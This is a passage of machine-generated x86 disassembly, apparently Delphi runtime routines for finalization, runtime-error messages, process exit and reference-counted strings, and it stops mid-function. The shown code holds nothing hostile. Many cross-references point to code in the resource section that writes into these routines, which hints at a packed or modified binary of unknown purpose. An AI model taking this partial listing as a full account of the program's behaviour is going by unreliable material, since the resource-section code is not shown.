sub_4031E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403208	proc near		; CODE XREF: sub_403468:loc_4034F8p
		xor	edx, edx
		mov	eax, ds:dword_407624
		test	eax, eax
		jz	short locret_40322F
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_403222
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_403220:				; CODE XREF: sub_403208+21j
		mov	ecx, [ecx]


loc_403222:				; CODE XREF: sub_403208+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_40322F
		cmp	[ecx], eax
		jnz	short loc_403220
		mov	eax, [eax]
		mov	[ecx], eax

locret_40322F:				; CODE XREF: sub_403208+9j
					; sub_403208+1Dj
		retn
sub_403208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403230	proc near		; CODE XREF: sub_403230+5Ap
					; sub_4032A0+5Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00402EA8 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00402FCC SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_407620
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_403299
		mov	ebx, [esi+0Ch]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403285
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_40327B


loc_403260:				; CODE XREF: sub_403230+49j
		dec	ebx
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8+4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403277
		call	[ebp+var_8]


loc_403277:				; CODE XREF: sub_403230+42j
		test	ebx, ebx
		jg	short loc_403260


loc_40327B:				; CODE XREF: sub_403230+2Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403299
; ---------------------------------------------------------------------------


loc_403285:				; DATA XREF: sub_403230+21o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403299:				; CODE XREF: sub_403230+13j
					; sub_403230+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403230	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032A0	proc near		; CODE XREF: sub_403310+3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_407620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_403309
		mov	esi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4032F5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jle	short loc_4032EB


loc_4032D1:				; CODE XREF: sub_4032A0+49j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8]
		mov	[ebp+var_8], eax
		inc	ebx
		mov	[edi+0Ch], ebx
		cmp	[ebp+var_8], 0
		jz	short loc_4032E7
		call	[ebp+var_8]


loc_4032E7:				; CODE XREF: sub_4032A0+42j
		cmp	esi, ebx
		jg	short loc_4032D1


loc_4032EB:				; CODE XREF: sub_4032A0+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403309
; ---------------------------------------------------------------------------


loc_4032F5:				; DATA XREF: sub_4032A0+22o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403309:				; CODE XREF: sub_4032A0+13j
					; sub_4032A0+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4032A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403310	proc near		; CODE XREF: sub_403C10+3Ap
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:off_407628, eax
		xor	eax, eax
		mov	ds:dword_40762C, eax
		mov	ds:off_407630, edx
		mov	eax, [edx+4]
		mov	ds:dword_40701C, eax
		call	sub_4031E8
		mov	ds:byte_407024,	0
		call	sub_4032A0
		retn
sub_403310	endp


; =============== S U B	R O U T	I N E =======================================



sub_403350	proc near		; CODE XREF: sub_403468+34p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_406000


loc_403360:				; CODE XREF: sub_403350+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_403360
		mov	cl, 1Ch
		mov	eax, ds:dword_406004


loc_40338C:				; CODE XREF: sub_403350+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_406074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_40338C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033AC	proc near		; CODE XREF: sub_403468+A4p
		xor	eax, eax
		xchg	eax, ds:dword_406000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_407620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4033AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033DC	proc near		; CODE XREF: sub_403468+39p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_407034,	0
		jz	short loc_40343D
		cmp	ds:word_407208,	0D7B2h
		jnz	short loc_403405
		cmp	ds:dword_407210, 0
		jbe	short loc_403405
		mov	eax, offset dword_407204
		call	ds:dword_407220


loc_403405:				; CODE XREF: sub_4033DC+13j
					; sub_4033DC+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"


loc_403413:				; DATA XREF: .rsrc:00439ADFo
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+4]
		push	eax
		push	2


loc_403429:				; DATA XREF: .rsrc:00438DAAr
					; .rsrc:loc_438DC4r ...
		push	offset dword_403464
		push	0FFFFFFF5h


loc_403430:				; DATA XREF: .rsrc:00438F8Cr
					; sub_43965B+73w ...
		call	sub_401000	; GetStdHandle


loc_403435:				; DATA XREF: sub_4377EE+3Fr
		push	eax
		call	sub_401020	; WriteFile
		pop	edx

locret_40343C:				; DATA XREF: .rsrc:0043772Br
					; .rsrc:loc_438C01r ...
		retn
; ---------------------------------------------------------------------------


loc_40343D:				; CODE XREF: sub_4033DC+8j
		cmp	ds:byte_406018,	0
		jnz	short loc_403459
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401038	; MessageBoxA


loc_403459:				; CODE XREF: sub_4033DC+68j
		pop	edx
		retn
sub_4033DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_403464	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403468	proc near		; CODE XREF: sub_403548+5p
					; CODE:0040544Ep

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, offset dword_407620
		mov	esi, offset dword_407030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_403493
		cmp	dword ptr [esi], 0
		jz	short loc_403493


loc_403482:				; CODE XREF: sub_403468+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_403482


loc_403493:				; CODE XREF: sub_403468+13j
					; sub_403468+18j
		cmp	ds:dword_406004, 0
		jz	short loc_4034AD
		call	sub_403350
		call	sub_4033DC
		xor	eax, eax
		mov	ds:dword_406004, eax


loc_4034AD:				; CODE XREF: sub_403468+32j
					; sub_403468+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_4034C1
		cmp	ds:dword_406000, 0
		jnz	short loc_4034C1
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_4034C1:				; CODE XREF: sub_403468+49j
					; sub_403468+52j
		call	sub_403230
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_4034D5
		cmp	ds:dword_406000, 0
		jz	short loc_4034F8


loc_4034D5:				; CODE XREF: sub_403468+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4034F8
		mov	eax, edi
		call	sub_40392C
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4034F8
		test	esi, esi
		jz	short loc_4034F8
		push	esi
		call	sub_401040	; FreeLibrary


loc_4034F8:				; CODE XREF: sub_403468+6Bj
					; sub_403468+72j ...
		call	sub_403208
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_403506
		call	dword ptr [ebx+24h]


loc_403506:				; CODE XREF: sub_403468+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_403511
		call	sub_4033AC


loc_403511:				; CODE XREF: sub_403468+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_403530
		cmp	ds:dword_407018, 0
		jz	short loc_403525
		call	ds:dword_407018


loc_403525:				; CODE XREF: sub_403468+B5j
		mov	eax, ds:dword_406000
		push	eax
		call	sub_401030	; ExitProcess


loc_403530:				; CODE XREF: sub_403468+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_4034AD
sub_403468	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp


loc_403544:				; DATA XREF: sub_4377EE+3w
					; sub_4377EE+13r
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403548	proc near		; CODE XREF: sub_402854+6p
					; sub_403554+6j ...
		mov	ds:dword_406000, eax
		call	sub_403468
sub_403548	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403554	proc near		; CODE XREF: CODE:004031DDj
					; sub_403B80+1Ap ...
		pop	ds:dword_406004
		jmp	sub_403548
sub_403554	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403560	proc near		; CODE XREF: sub_402A6C+Ep
					; sub_403624+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_403582
		mov	dword ptr [eax], 0


loc_40356C:				; DATA XREF: .rsrc:004380EFr
		mov	ecx, [edx-8]
		dec	ecx


loc_403570:				; DATA XREF: sub_4377EE:loc_4379D7r
		jl	short locret_403582
		lock dec dword ptr [edx-8]
		jnz	short locret_403582
		push	eax
		lea	eax, [edx-8]


loc_40357C:				; DATA XREF: sub_439465+7r
		call	sub_4027E4
		pop	eax

locret_403582:				; CODE XREF: sub_403560+4j
					; sub_403560:loc_403570j ...
		retn
sub_403560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403584	proc near		; CODE XREF: sub_403F24+114p
					; sub_4041C0+259p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40358A:				; CODE XREF: sub_403584+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_4035AA
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_4035AA
		lock dec dword ptr [edx-8]


loc_4035A0:				; DATA XREF: sub_439465+BDr
		jnz	short loc_4035AA
		lea	eax, [edx-8]
		call	sub_4027E4


loc_4035AA:				; CODE XREF: sub_403584+Aj
					; sub_403584+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_40358A
		pop	esi
		pop	ebx
		retn
sub_403584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035B4	proc near		; CODE XREF: sub_403690+8j
					; sub_4036D4+6j ...
		test	edx, edx
		jz	short loc_4035DC


loc_4035B8:				; DATA XREF: sub_4399A1+3Br
		mov	ecx, [edx-8]
		inc	ecx


loc_4035BC:				; DATA XREF: sub_4379C7+7r
		jg	short loc_4035D8
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4035F8


loc_4035C8:				; DATA XREF: sub_4377EE+12Er
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4028C8


loc_4035D4:				; DATA XREF: sub_4377EE+22Ar
					; sub_438023:loc_438087r
		pop	edx
		pop	eax
		jmp	short loc_4035DC
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_4035B4:loc_4035BCj
					; DATA XREF: sub_4377EE+248r ...
		lock inc dword ptr [edx-8]


loc_4035DC:				; CODE XREF: sub_4035B4+2j
					; sub_4035B4+22j
					; DATA XREF: ...
		xchg	edx, [eax]
		test	edx, edx


loc_4035E0:				; DATA XREF: sub_4377EE+2CDr
		jz	short locret_4035F6
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4035F6


loc_4035E8:				; DATA XREF: sub_4377EE+239r
					; sub_438023+75r
		lock dec dword ptr [edx-8]
		jnz	short locret_4035F6
		lea	eax, [edx-8]
		call	sub_4027E4

locret_4035F6:				; CODE XREF: sub_4035B4:loc_4035E0j
					; sub_4035B4+32j ...
		retn
sub_4035B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035F8	proc near		; CODE XREF: sub_4035B4+Fp
					; sub_403624+Bp ...
		test	eax, eax
		jle	short loc_403620
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4027B4
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_403620:				; CODE XREF: sub_4035F8+2j
		xor	eax, eax
		retn
sub_4035F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403624	proc near		; CODE XREF: sub_402A6C+30p
					; sub_403654+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4035F8
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_403645
		mov	edx, eax
		mov	eax, esi
		call	sub_4028C8


loc_403645:				; CODE XREF: sub_403624+16j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi


loc_40364E:				; DATA XREF: sub_4377EE+26Dr
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403624	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403654	proc near		; CODE XREF: sub_4040B4+90p
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_403624
		pop	edx
		retn
sub_403654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403664	proc near		; CODE XREF: sub_4045CC+28p
					; sub_404D90+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_403624
sub_403664	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403670	proc near		; CODE XREF: sub_4039B0+36p
					; sub_404E50+2Bp
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40367D
		not	ecx


loc_40367D:				; CODE XREF: sub_403670+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_403624
sub_403670	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403688	proc near		; CODE XREF: sub_403D14+Fp
					; sub_403E38+Fp
		test	eax, eax
		jz	short locret_40368F
		mov	eax, [eax-4]

locret_40368F:				; CODE XREF: sub_403688+2j
		retn
sub_403688	endp


; =============== S U B	R O U T	I N E =======================================



sub_403690	proc near		; CODE XREF: sub_4036D4+1Dj
					; sub_4036D4+6Ej ...
		test	edx, edx
		jz	short locret_4036D3
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_4035B4
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_4036C8
		call	sub_403854
		mov	eax, esi
		mov	ecx, [esi-4]


loc_4036BB:				; CODE XREF: sub_403690+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4028C8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4036C8:				; CODE XREF: sub_403690+1Fj
		call	sub_403854
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------

locret_4036D3:				; CODE XREF: sub_403690+2j
		retn
sub_403690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near		; CODE XREF: CODE:00405337p
		test	edx, edx
		jz	short loc_403739
		test	ecx, ecx
		jz	sub_4035B4
		cmp	edx, [eax]
		jz	short loc_403740
		cmp	ecx, [eax]
		jz	short loc_4036F6
		push	eax
		push	ecx
		call	sub_4035B4
		pop	edx
		pop	eax
		jmp	sub_403690
; ---------------------------------------------------------------------------


loc_4036F6:				; CODE XREF: sub_4036D4+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_4035F8
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_4028C8
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_4028C8
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_403730
		dec	dword ptr [edi-8]


loc_403730:				; CODE XREF: sub_4036D4+57j
		call	sub_4035B4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_403739:				; CODE XREF: sub_4036D4+2j
		mov	edx, ecx
		jmp	sub_4035B4
; ---------------------------------------------------------------------------


loc_403740:				; CODE XREF: sub_4036D4+Ej
		mov	edx, ecx
		jmp	sub_403690
sub_4036D4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403748	proc near		; CODE XREF: sub_404E94+3Cp
					; sub_404E94+65p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_4037E6
		test	esi, esi
		jz	short loc_4037C3
		test	edi, edi
		jz	short loc_4037CA
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40376B
		add	edx, eax


loc_40376B:				; CODE XREF: sub_403748+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_403797


loc_403771:				; CODE XREF: sub_403748+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		dec	edx
		jz	short loc_403791
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_403771
		jmp	short loc_403797
; ---------------------------------------------------------------------------


loc_403791:				; CODE XREF: sub_403748+32j
		add	esi, 4
		add	edi, 4


loc_403797:				; CODE XREF: sub_403748+27j
					; sub_403748+47j
		pop	edx
		and	edx, 3
		jz	short loc_4037BF
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		cmp	ch, bh
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_4037E6


loc_4037BF:				; CODE XREF: sub_403748+53j
					; sub_403748+5Ej ...
		add	eax, eax
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037C3:				; CODE XREF: sub_403748+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037CA:				; CODE XREF: sub_403748+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037D1:				; CODE XREF: sub_403748+2Fj
					; sub_403748+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh
		jnz	short loc_4037E6
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh


loc_4037E6:				; CODE XREF: sub_403748+9j
					; sub_403748+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403748	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037EC	proc near		; CODE XREF: sub_403F24+17p
					; sub_4040B4+14p ...
		test	eax, eax
		jz	short locret_4037FA
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4037FA
		lock inc dword ptr [eax-8]

locret_4037FA:				; CODE XREF: sub_4037EC+2j
					; sub_4037EC+8j
		retn
sub_4037EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037FC	proc near		; CODE XREF: sub_403E38+2Ap
					; sub_403F24+7Dp ...
		test	eax, eax
		jz	short loc_403802
		retn
; ---------------------------------------------------------------------------
byte_403801	db 0			; DATA XREF: sub_4037FC:loc_403802o
; ---------------------------------------------------------------------------


loc_403802:				; CODE XREF: sub_4037FC+2j
		mov	eax, offset byte_403801
		retn
sub_4037FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_403808	proc near		; CODE XREF: sub_40384Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_403846
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_403846
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4035F8
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4028C8
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_403843
		lock dec dword ptr [eax-8]
		jnz	short loc_403843
		lea	eax, [eax-8]
		call	sub_4027E4


loc_403843:				; CODE XREF: sub_403808+2Bj
					; sub_403808+31j
		mov	edx, [ebx]
		pop	ebx


loc_403846:				; CODE XREF: sub_403808+4j
					; sub_403808+Aj
		mov	eax, edx
		retn
sub_403808	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40384C	proc near		; CODE XREF: sub_403E38+22p
					; sub_403F24+40p ...
		jmp	sub_403808
sub_40384C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403854	proc near		; CODE XREF: sub_402908+B3p
					; sub_403690+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4038A9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40388A
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40388A
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_402804
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4038B2
; ---------------------------------------------------------------------------


loc_40388A:				; CODE XREF: sub_403854+11j
					; sub_403854+17j
		mov	eax, edx
		call	sub_4035F8
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4038A9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4038A4
		mov	ecx, esi


loc_4038A4:				; CODE XREF: sub_403854+4Cj
		call	sub_4028C8


loc_4038A9:				; CODE XREF: sub_403854+Bj
					; sub_403854+43j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi


loc_4038B2:				; CODE XREF: sub_403854+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403854	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4038B8	proc near		; DATA XREF: sub_403A78+2Fo
					; BSS:off_407000o
		mov	al, 11h
		jmp	sub_4028AC
sub_4038B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038C0	proc near		; CODE XREF: sub_40392C+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_406020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403913


loc_4038DA:				; CODE XREF: sub_4038C0+51j
		xor	eax, eax
		push	ebp
		push	offset loc_4038FB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403905
; ---------------------------------------------------------------------------


loc_4038FB:				; DATA XREF: sub_4038C0+1Do
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403060


loc_403905:				; CODE XREF: sub_4038C0+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4038DA


loc_403913:				; CODE XREF: sub_4038C0+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4038C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40391C	proc near		; CODE XREF: sub_403C04+5p
		mov	edx, ds:dword_40601C
		mov	[eax], edx
		mov	ds:dword_40601C, eax
		retn
sub_40391C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40392C	proc near		; CODE XREF: sub_403468+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset byte_4039A5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_4038C0
		xor	eax, eax
		pop	edx
		pop	ecx


loc_403952:				; DATA XREF: sub_439465+16w
					; sub_4399A1+53r
		pop	ecx
		mov	fs:[eax], edx


loc_403956:				; DATA XREF: sub_439465+4Bw
					; sub_439465+73r ...
		push	offset unk_4039AC
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_40601C
		jnz	short loc_403972
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_40601C, eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_40392C+38j
					; DATA XREF: .rsrc:004392C3r ...
		mov	eax, ds:dword_40601C
		mov	[ebp+var_8], eax


loc_40397A:				; DATA XREF: sub_439537+22w
					; sub_43965B+2D1r
		cmp	[ebp+var_8], 0


loc_40397E:				; DATA XREF: sub_4377EE+CAw
					; sub_4377EE+DAw ...
		jz	short loc_4039A4


loc_403980:				; CODE XREF: sub_40392C:loc_4039A2j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_403996


loc_40398A:				; DATA XREF: .rsrc:00438EEEw
					; .rsrc:00438FE9w ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]


loc_403992:				; DATA XREF: sub_438A1Fw sub_438A5Cw ...
		mov	[edx], eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403996:				; CODE XREF: sub_40392C+5Cj
					; DATA XREF: .rsrc:loc_438CA4r
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_40399E:				; DATA XREF: .rsrc:00438CC2w
					; .rsrc:00438D11r
